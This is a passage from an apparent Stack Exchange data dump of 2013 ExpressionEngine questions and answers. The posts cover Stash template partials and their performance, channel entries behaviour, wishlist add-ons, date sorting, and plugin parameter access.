href=&quot;/backend/index.php?D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id={channel_id}&amp;amp;entry_id={entry_id}&quot; title=&quot;Zuerst «Senden» drücken, dann «Schliessen und Neuladen»! Esc um abzubrechen&quot;&amp;gt;{title} bearbeiten &amp;amp;uarr;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;    {/exp:stash:set}&#xA;&#xA;    {!-- setting the needles --}&#xA;    {cf_{pre_prefix}_images_matrix}&#xA;        {exp:stash:set name=&quot;bild_{row_count}&quot; type=&quot;snippet&quot;}&#xA;            {if image_zoom == &quot;y&quot;}&#xA;                &amp;lt;a class=&quot;modalbox_zoom img_link&quot; title=&quot;{image_url:title}&quot; href=&quot;{exp:ce_img:pair src='{image_url:url:max_size}' width='1200' height='800'}{made}{/exp:ce_img:pair}&quot;&amp;gt;&#xA;            {/if}&#xA;            {exp:switchee variable=&quot;{image_size}&quot; parse=&quot;inward&quot;}&#xA;                {case value=&quot;left&quot;}&#xA;                    {exp:ce_img:pair src=&quot;{image_url:url:max_size}&quot; width=&quot;255&quot; allow_scale_larger=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; class=&quot;{image_alignement}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{title} {image_url:title} {image_url:desc} {gv_alt}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;                {/case}&#xA;                {case value=&quot;right&quot;}&#xA;                    {exp:ce_img:pair src=&quot;{image_url:url:max_size}&quot; width=&quot;311&quot; allow_scale_larger=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; class=&quot;{image_alignement}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{title} {image_url:title} {image_url:desc} {gv_alt}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;                {/case}&#xA;                {case value=&quot;full&quot;}&#xA;                    {exp:ce_img:pair src=&quot;{image_url:url:max_size}&quot; width=&quot;600&quot; allow_scale_larger=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; class=&quot;{image_alignement}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{title} {image_url:title} {image_url:desc} {gv_alt}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;                {/case}&#xA;                {case value=&quot;untouched&quot;}&#xA;                    &amp;lt;img src=&quot;{image_url:url}&quot; width=&quot;{image_url:width}&quot; height=&quot;{image_url:height}&quot; alt=&quot;{title} {image_url:title} {image_url:desc}&quot; class=&quot;small_image img_link&quot; /&amp;gt;&#xA;                {/case}&#xA;            {/exp:switchee}&#xA;            {if image_zoom == &quot;y&quot;}&amp;lt;/a&amp;gt;{/if} &#xA;        {/exp:stash:set}&#xA;    {/cf_{pre_prefix}_images_matrix}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here's the wrapper template: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;de&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&#xA;    {exp:seo_lite entry_id=&quot;{exp:stash:get name='entry_id'}&quot; parse=&quot;inward&quot;}&#xA;    &amp;lt;meta property=&quot;og:site_name&quot; content=&quot;Café Kairo Lorraine&quot;/&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:title&quot; content=&quot;{exp:stash:get name='title'}&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:image&quot; content=&quot;{exp:stash:get name='og_image'}&quot; /&amp;gt;&#xA;    {sp_global_head}&#xA;    {exp:stash:get name='color'}&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body id=&quot;{segment_1}&quot;&amp;gt;&#xA;&#xA;{embed=&quot;_includes/_admin&quot;}&#xA;&#xA;{gv_start}&#xA;&#xA;    &amp;lt;header id=&quot;header&quot;&amp;gt;&#xA;        &amp;lt;h1 id=&quot;logo&quot;&amp;gt;&amp;lt;a href=&quot;{path='/'}&quot; class=&quot;hide-text&quot;&amp;gt;...&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/header&amp;gt;   &#xA;&#xA;    &amp;lt;section id=&quot;content_container&quot;&amp;gt;&#xA;        &amp;lt;!-- main navigation --&amp;gt;&#xA;        &amp;lt;nav id=&quot;main_nav&quot;&amp;gt;     &#xA;            {exp:structure:nav start_from=&quot;/&quot; max_depth=&quot;1&quot; status=&quot;{exp:stash:get name='status'}&quot; css_id=&quot;none&quot; parse=&quot;inward&quot;}&#xA;        &amp;lt;/nav&amp;gt;&amp;lt;!-- end main_nav --&amp;gt;&#xA;        {!-- getting the main content and replacing the needles --}&#xA;        {exp:stash:parse process=&quot;end&quot;}{exp:stash:get name='main_content'}{/exp:stash:parse}&#xA;&#xA;        {!-- edit links --}         &#xA;        {exp:stash:get name='edit_main_content' scope=&quot;user&quot;}&#xA;    &amp;lt;/section&amp;gt;&amp;lt;!-- end #content_container --&amp;gt;&#xA;&#xA;    &amp;lt;footer id=&quot;footer&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;  &#xA;    &amp;lt;/footer&amp;gt;&amp;lt;!-- end #footer --&amp;gt;&#xA;&#xA;{gv_before_end}&#xA;{embed=&quot;_includes/_end&quot;}&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;  &#xA;    jQuery(function($){&#xA;        $.supersized({&#xA;            //Background image&#xA;            slides  :  [ { image : '{exp:stash:get name='background_image'}' } ]&#xA;        });&#xA;    }); &#xA;&amp;lt;/script&amp;gt;&#xA;{gv_end}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so far it works great and also the speed is now better than ever! &#xA;just one single embed. I am fascinated! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastEditorUserId="388" LastEditDate="2013-02-12T12:55:48.733" LastActivityDate="2013-07-06T13:49:55.793" Title="is the needle haystack method possible with stash?" Tags="|stash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6121" PostTypeId="2" ParentId="6116" CreationDate="2013-02-11T11:12:28.910" Score="2" Body="&lt;p&gt;You should loop through the output of PHP's &lt;a href=&quot;http://php.net/manual/en/function.debug-backtrace.php&quot; rel=&quot;nofollow&quot;&gt;debug_backtrace() method&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I just called it inside an extension using the &lt;code&gt;channel_entries_query_result&lt;/code&gt; hook (truncated a little). The &lt;code&gt;object&lt;/code&gt; or &lt;code&gt;class&lt;/code&gt; parameters would be most helpful to you to figure out which extension called the hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [0] =&amp;gt; Array&#xA;        (&#xA;            [function] =&amp;gt; channel_entries_query_result&#xA;            [class] =&amp;gt; Store_ext&#xA;            [object] =&amp;gt; Store_ext Object&#xA;            [type] =&amp;gt; -&amp;gt;&#xA;            [args] =&amp;gt; Array&#xA;        )&#xA;&#xA;    [1] =&amp;gt; Array&#xA;        (&#xA;            [file] =&amp;gt; /path/to/system/expressionengine/libraries/Extensions.php&#xA;            [line] =&amp;gt; 241&#xA;            [function] =&amp;gt; call_user_func_array&#xA;            [args] =&amp;gt; Array&#xA;        )&#xA;&#xA;    [2] =&amp;gt; Array&#xA;        (&#xA;            [function] =&amp;gt; universal_call&#xA;            [class] =&amp;gt; EE_Extensions&#xA;            [object] =&amp;gt; EE_Extensions Object&#xA;            [type] =&amp;gt; -&amp;gt;&#xA;            [args] =&amp;gt; Array&#xA;        )&#xA;&#xA;    [3] =&amp;gt; Array&#xA;        (&#xA;            [file] =&amp;gt; /path/to/system/expressionengine/libraries/Extensions.php&#xA;            [line] =&amp;gt; 119&#xA;            [function] =&amp;gt; call_user_func_array&#xA;            [args] =&amp;gt; Array&#xA;        )&#xA;&#xA;    [4] =&amp;gt; Array&#xA;        (&#xA;            [file] =&amp;gt; /path/to/system/expressionengine/modules/channel/mod.channel.php&#xA;            [line] =&amp;gt; 3315&#xA;            [function] =&amp;gt; call&#xA;            [class] =&amp;gt; EE_Extensions&#xA;            [object] =&amp;gt; EE_Extensions Object&#xA;            [type] =&amp;gt; -&amp;gt;&#xA;            [args] =&amp;gt; Array&#xA;        )&#xA;    [5] =&amp;gt; Array&#xA;        (&#xA;            [file] =&amp;gt; /path/to/system/expressionengine/modules/channel/mod.channel.php&#xA;            [line] =&amp;gt; 324&#xA;            [function] =&amp;gt; parse_channel_entries&#xA;            [class] =&amp;gt; Channel&#xA;            [object] =&amp;gt; Channel Object&#xA;            [type] =&amp;gt; -&amp;gt;&#xA;            [args] =&amp;gt; Array&#xA;        )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-02-11T11:19:30.090" LastActivityDate="2013-02-11T11:19:30.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6122" PostTypeId="1" CreationDate="2013-02-11T12:09:02.963" Score="2" ViewCount="406" Body="&lt;p&gt;I've used the template partials method to &quot;uprade&quot; one of my site's template to this approach. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't understand is, that although my stash template only has one single embed vs. 5 embeds, it's still performing considerably slower and uses more queries! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &quot;normal&quot; templates uses about 93 to 95 queries and renders in around 0.5 seconds&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the new approach takes from 95 to 98 queries and renders usually in about 1seconds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can really feel the difference in speed and rendering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am really new to template partials and maybe one of the pro's could look if I am doing something wrong?! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so here's my standard template - before stash (it's a structure powered site)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gv_doctype}&#xA;{preload_replace:pre_prefix=&quot;static&quot;}&#xA;{if in_group(1)}{preload_replace:pre_status=&quot;open|Draft&quot;}{/if}{preload_replace:pre_status=&quot;open&quot;}&#xA;{exp:channel:entries channel=&quot;ch_static&quot;  limit=&quot;1&quot; status=&quot;{pre_status}&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;{embed=&quot;_includes/_head&quot; emb_entry_id=&quot;{entry_id}&quot;}&#xA;{sp_color}&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body id=&quot;{segment_1}&quot;&amp;gt;&#xA;&#xA;{embed=&quot;_includes/_admin&quot;}&#xA;{gv_start}&#xA;&#xA;    {embed=&quot;_includes/_header&quot;}&#xA;    &amp;lt;section id=&quot;content_container&quot;&amp;gt;&#xA;        {embed=&quot;_includes/_navigation&quot; emb_status=&quot;{pre_status}&quot;}&#xA;&#xA;        {exp:nsm_transplant:body}&#xA;            {cf_static_block_matrix}&#xA;                &amp;lt;article class=&quot;content_block{if status == 'Draft'} logged_in{/if}&quot;&amp;gt;&#xA;                    {if title}&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;{/if}&#xA;                    {if media AND text}&#xA;                        &amp;lt;div class=&quot;image&quot;&amp;gt;&#xA;                            {media}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;text&quot;&amp;gt;&#xA;                            {text}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    {if:else}&#xA;                        {text}{media}&#xA;                    {/if}&#xA;                &amp;lt;/article&amp;gt;&amp;lt;!-- end content_block --&amp;gt;&#xA;            {/cf_static_block_matrix}&#xA;            {!--&#xA;&#xA;                video, slideshow and file replacement with {pre_prefix}&#xA;&#xA;            --}&#xA;            {sp_static_img_replacement}             &#xA;            {sp_video_replacement}&#xA;            {sp_file_replacement}&#xA;        {/exp:nsm_transplant:body}&#xA;        {sp_edit}&#xA;    &amp;lt;/section&amp;gt;&amp;lt;!-- end #content_container --&amp;gt;&#xA;    {embed=&quot;_includes/_footer&quot;}&#xA;&#xA;{gv_before_end}&#xA;{embed=&quot;_includes/_end&quot;}&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;  &#xA;    jQuery(function($){&#xA;        $.supersized({&#xA;            //Background image&#xA;            slides  :  [ { image : '{cf_{pre_prefix}_background limit=&quot;1&quot;}{url:max_size}{/cf_{pre_prefix}_background}' } ]&#xA;        });&#xA;    }); &#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;{gv_end}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here's my new 2 templates: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the wrapper template: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;de&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&#xA;    &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&#xA;    {exp:seo_lite entry_id=&quot;{exp:stash:get name='entry_id'}&quot; parse=&quot;inward&quot;}&#xA;    &amp;lt;meta property=&quot;og:site_name&quot; content=&quot;...&quot;/&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:title&quot; content=&quot;{exp:stash:get name='title'}&quot; /&amp;gt;&#xA;    {sp_global_head}&#xA;    {exp:stash:get name='color'}&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body id=&quot;{segment_1}&quot;&amp;gt;&#xA;&#xA;{embed=&quot;_includes/_admin&quot;}&#xA;&#xA;{gv_start}&#xA;&#xA;    &amp;lt;header id=&quot;header&quot;&amp;gt;&#xA;        &amp;lt;h1 id=&quot;logo&quot;&amp;gt;&amp;lt;a href=&quot;{path=''}&quot; class=&quot;hide-text&quot;&amp;gt;...&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/header&amp;gt;   &#xA;&#xA;    &amp;lt;section id=&quot;content_container&quot;&amp;gt;&#xA;        &amp;lt;!-- main navigation --&amp;gt;&#xA;        &amp;lt;nav id=&quot;main_nav&quot;&amp;gt;     &#xA;            {exp:structure:nav start_from=&quot;/&quot; max_depth=&quot;1&quot; status=&quot;{exp:stash:get name='status'}&quot; css_id=&quot;none&quot; parse=&quot;inward&quot;}&#xA;        &amp;lt;/nav&amp;gt;&amp;lt;!-- end main_nav --&amp;gt;&#xA;        {exp:stash:get name='main_content'} &#xA;    &amp;lt;/section&amp;gt;&amp;lt;!-- end #content_container --&amp;gt;&#xA;&#xA;    &amp;lt;footer id=&quot;footer&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;  &#xA;    &amp;lt;/footer&amp;gt;&amp;lt;!-- end #footer --&amp;gt;&#xA;&#xA;{gv_before_end}&#xA;{embed=&quot;_includes/_end&quot;}&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;  &#xA;    jQuery(function($){&#xA;        $.supersized({&#xA;            //Background image&#xA;            slides  :  [ { image : '{exp:stash:get name='background_image'}' } ]&#xA;        });&#xA;    }); &#xA;&amp;lt;/script&amp;gt;&#xA;{gv_end}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the other one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--&#xA;&#xA;    View Model Static&#xA;&#xA;--}&#xA;{embed=&quot;_wrapper/_standard&quot;}&#xA;&#xA;{preload_replace:pre_prefix=&quot;static&quot;}&#xA;{if in_group(1)}{preload_replace:pre_status=&quot;open|Draft&quot;}{/if}{preload_replace:pre_status=&quot;open&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;ch_static&quot;  limit=&quot;1&quot; status=&quot;{pre_status}&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;    {exp:stash:set scope=&quot;site&quot;}&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:status}{pre_status}{/stash:status}&#xA;        {stash:background_image}{cf_{pre_prefix}_background limit=&quot;1&quot;}{url:max_size}{/cf_{pre_prefix}_background}{/stash:background_image}&#xA;        {stash:color}{sp_color}{/stash:color}&#xA;    {/exp:stash:set}&#xA;    {exp:stash:set scope=&quot;site&quot; parse_tags='yes' parse_conditionals='yes' save='yes' refresh='60'}&#xA;        {stash:main_content}&#xA;            {exp:nsm_transplant:body}&#xA;                {cf_{pre_prefix}_block_matrix}&#xA;                    &amp;lt;article class=&quot;content_block{if status == 'Draft'} logged_in{/if}&quot;&amp;gt;&#xA;                        {if title}&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;{/if}&#xA;                        {if media AND text}&#xA;                            &amp;lt;div class=&quot;image&quot;&amp;gt;&#xA;                                {media}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;text&quot;&amp;gt;&#xA;                                {text}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        {if:else}&#xA;                            {text}{media}&#xA;                        {/if}&#xA;                    &amp;lt;/article&amp;gt;&amp;lt;!-- end content_block --&amp;gt;&#xA;                {/cf_{pre_prefix}_block_matrix}&#xA;                {!--&#xA;&#xA;                    images, video and file replacement with {pre_prefix}&#xA;&#xA;                --}&#xA;                {sp_static_img_replacement}             &#xA;                {sp_video_replacement}&#xA;                {sp_file_replacement}&#xA;            {/exp:nsm_transplant:body}&#xA;            {sp_edit}&#xA;        {/stash:main_content}&#xA;    {/exp:stash:set}  &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now I love this new approach, but I really don't want to compromise the speed of the site! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help appreciated! &#xA;cheers&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-04-13T20:07:38.993" Title="why is my template partials w/ stash approach slower than the ordinary one?" Tags="|stash|performance|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6123" PostTypeId="1" AcceptedAnswerId="6125" CreationDate="2013-02-11T12:09:31.907" Score="1" ViewCount="135" Body="&lt;p&gt;I am passing a pipe-delimited list of entry ids into a standard channel entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    entry_id=&quot;149|453|321|149&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;4&quot;}&#xA;&#xA;        {title}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only get 3 results returned, with the second 149 ignored. There seems to be some filter stripping it out. I have gone through the docs but I have not found any parameter along the lines of allow_duplicates=&quot;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the channel entries tag return the same entry twice if I explicitly request it by entry id? &lt;/p&gt;&#xA;" OwnerUserId="728" LastActivityDate="2013-02-11T21:40:17.363" Title="How to make the channel entries tag return the same entry more than once?" Tags="|channel-entries|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6124" PostTypeId="1" AcceptedAnswerId="6131" CreationDate="2013-02-11T12:14:58.347" Score="1" ViewCount="145" Body="&lt;p&gt;Has anyone come across an extension that will allow a user to create multiple &quot;lightboxes&quot; of their favourite channel entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware of the &lt;a href=&quot;http://www.solspace.com/software/detail/favorites/&quot; rel=&quot;nofollow&quot;&gt;Solspace Favourites&lt;/a&gt; module, but that only allows users to create a single list. I need the user to be able to create multiple &quot;lightboxes&quot; or favourites lists, as used by iStockPhoto.&lt;/p&gt;&#xA;" OwnerUserId="823" LastActivityDate="2013-02-11T13:18:12.373" Title="iStockPhoto Lightbox-type extension" Tags="|add-on|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6125" PostTypeId="2" ParentId="6123" CreationDate="2013-02-11T12:28:19.047" Score="2" Body="&lt;p&gt;You can't. The channel:entries tag will always return unique/distinct entries. No way around it.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-02-11T12:28:19.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6126" PostTypeId="2" ParentId="6123" CreationDate="2013-02-11T12:35:28.913" Score="0" Body="&lt;p&gt;A more advanced approach, but your best bet might be to use &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; - stash that entry in your logic template, then use it more than once if needed in the wrapper template. Since you're trying to return a duplicate entry, you may need to also stash the entry ID or something so you can use it in your wrapper template to target it distinctly.  For a primer on template partials using Stash, have a look at &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot; rel=&quot;nofollow&quot;&gt;Adrienne Travis' article on eeinsider&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-02-11T12:35:28.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6127" PostTypeId="2" ParentId="6112" CreationDate="2013-02-11T12:42:33.817" Score="2" Body="&lt;p&gt;Matrix is an excellent option if you can put this content inline in a given entry and not need to re-use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to, for example, add a filter down the line with only those entries that have client company of ABC Company, for example, it may be ever so slightly harder to achieve without having that content at the entries level (without having to get into some custom queries, anyway) - so if setup as entries, you could then use a relationship field (or a Playa relationship field if multiples of any of your assignments would need it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be categories, but also not quite as user friendly on the admin end.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-02-11T12:42:33.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6128" PostTypeId="1" AcceptedAnswerId="6142" CreationDate="2013-02-11T12:44:56.293" Score="2" ViewCount="165" Body="&lt;p&gt;I'm using Exp:resso store, everything is working fine, but I have multiple &quot;Add to Cart&quot; buttons on the page, one for every product.  Is there anyway to have just one Single Add to Cart at the bottom of the form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, my products page currently has 50+ items listed, each with there own Add to Cart button beside it.  I'd like the customer to be able to go down through the list, entering  the totals as they go, then clicking on an one Add to Cart button of the bottom of the list to update the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="984" LastEditorUserId="268" LastEditDate="2013-02-12T02:17:14.470" LastActivityDate="2013-07-01T08:36:54.297" Title="Single add to basket in Exp:resso Store?" Tags="|add-on|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6129" PostTypeId="2" ParentId="6124" CreationDate="2013-02-11T12:50:10.263" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://cartthrob.com/site/product_detail/wish-list&quot; rel=&quot;nofollow&quot;&gt;CartThrob Wish List&lt;/a&gt; is a little known add-on that allows you to create lists of entries.  It's a module they developed for a client of mine and then refined and added a bunch of features to.  I've never tried to use it outside of a CartThrob ecommerce site, but I don't see any reason that it should be dependent on it.  You would simply not need to take advantage of the flipside of the module, which is allowing third parties to buy items from the wish list, thereby debiting the &quot;wanted&quot; volume of the given entries.  But that's what immediately came to mind based on your need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other one that came to mind is &lt;a href=&quot;http://devot-ee.com/add-ons/shortlist&quot; rel=&quot;nofollow&quot;&gt;Joel Bradbury's Shortlist&lt;/a&gt; - but currently it doesn't offer multiple lists to users either. It may be something he's working on for a future release perhaps.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-02-11T12:50:10.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6130" PostTypeId="1" AcceptedAnswerId="6138" CreationDate="2013-02-11T12:51:57.283" Score="3" ViewCount="164" Body="&lt;p&gt;i have a list of movie screenings sorted by date. now the client wants to be able to order additionaly with a custom order field, i don't get to the second order_by however...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it seems when you enter a date random seconds are added to the EE timestamps.&#xA;if they enter &quot;2013-03-01 08:00 PM&quot; it always has a different timestamp: &#xA;1362186000,&#xA;1362186018,&#xA;1362186025,&#xA;1362186032,... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;where are those seconds coming from? and how can i solve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;screenings&quot; status=&quot;open&quot; dynamic=&quot;off&quot; category=&quot;3&amp;amp;21&quot; orderby=&quot;screening_datetime|screeningorder&quot;  sort=&quot;asc|asc&quot;  limit=&quot;200&quot;}&#xA;            {screening_datetime} - {screening_datetime format=&quot;%d %M %Y  %G:%i&quot;} hrs {screeningorder} &#xA;            {related_entries id=&quot;screening_movie&quot;}&#xA;                &amp;lt;a href=&quot;{title_permalink=&quot;programacion/pelicula/&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt; &#xA;            {/related_entries}&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="834" LastEditorUserId="55" LastEditDate="2013-02-11T14:43:47.713" LastActivityDate="2013-02-11T14:48:36.663" Title="EE date timestamps have different values for the same date/time" Tags="|custom-fields|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6131" PostTypeId="2" ParentId="6124" CreationDate="2013-02-11T13:18:12.373" Score="3" Body="&lt;p&gt;There is also &lt;a href=&quot;http://devot-ee.com/add-ons/bookmarks&quot; rel=&quot;nofollow&quot;&gt;Bookmarks&lt;/a&gt; module, but it also does not allow you to create sets of bookmarks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would use different approach:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;create a channel named &quot;Lightboxes&quot; with custom field that will hold relationships with entries&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html&quot; rel=&quot;nofollow&quot;&gt;Safecracker&lt;/a&gt; to create a lighbox&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;have some code that will add entries to relationships custom field in lightbox entry&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-11T13:18:12.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6134" PostTypeId="2" ParentId="6120" CreationDate="2013-02-11T14:07:42.023" Score="2" Body="&lt;p&gt;You could do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries ...}&#xA;&#xA; {cf_images_matrix}&#xA;     {exp:stash:set name=&quot;image_{row_count}&quot; type=&quot;snippet&quot;}&#xA;      {exp:ce_img:pair src=&quot;{image_url:url}&quot; width=&quot;200&quot;}&amp;lt;img src=&quot;{made}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{gv_alt}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;     {/exp:stash:set}&#xA; {/cf_images_matrix}&#xA;&#xA; {exp:stash:parse process=&quot;end&quot;}&#xA;     {cf_textarea}&#xA; {/exp:stash:parse}&#xA;&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="388" LastEditDate="2013-02-12T13:09:12.277" LastActivityDate="2013-02-12T13:09:12.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6135" PostTypeId="1" AcceptedAnswerId="6137" CreationDate="2013-02-11T14:18:45.367" Score="3" ViewCount="356" Body="&lt;p&gt;&lt;em&gt;Apologies if this is very obvious for experienced addon devs, but I'm experimenting with writing more bespoke plugins rather than gluing together other people's...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the official way to fetch parameters is one-by-one by name with &lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('key')&lt;/code&gt;, but I'm currently writing a plugin in which I'd like to iterate over my tag's parameters without having to define in advance what those parameters are in my plugin class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that I can access the tag parameters array directly via &lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagparams&lt;/code&gt;, &lt;strong&gt;but is it safe to do so?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can see from reading the Template parser source, &lt;code&gt;fetch_param()&lt;/code&gt; just does a bit of tidying up to ensure tag params are uniformly formatted and returns false if a requested param is not set, neither of which are a concern in my use case. However, I want to be sure I'm not introducing unnecessary fragility (or indeed a vulnerability) into my plugin inadvertently.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2013-02-11T15:29:41.580" Title="Is it safe to get all tag params in one go with $this-&gt;EE-&gt;TMPL-&gt;tagparams?" Tags="|add-on-development|plugin|parameters|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 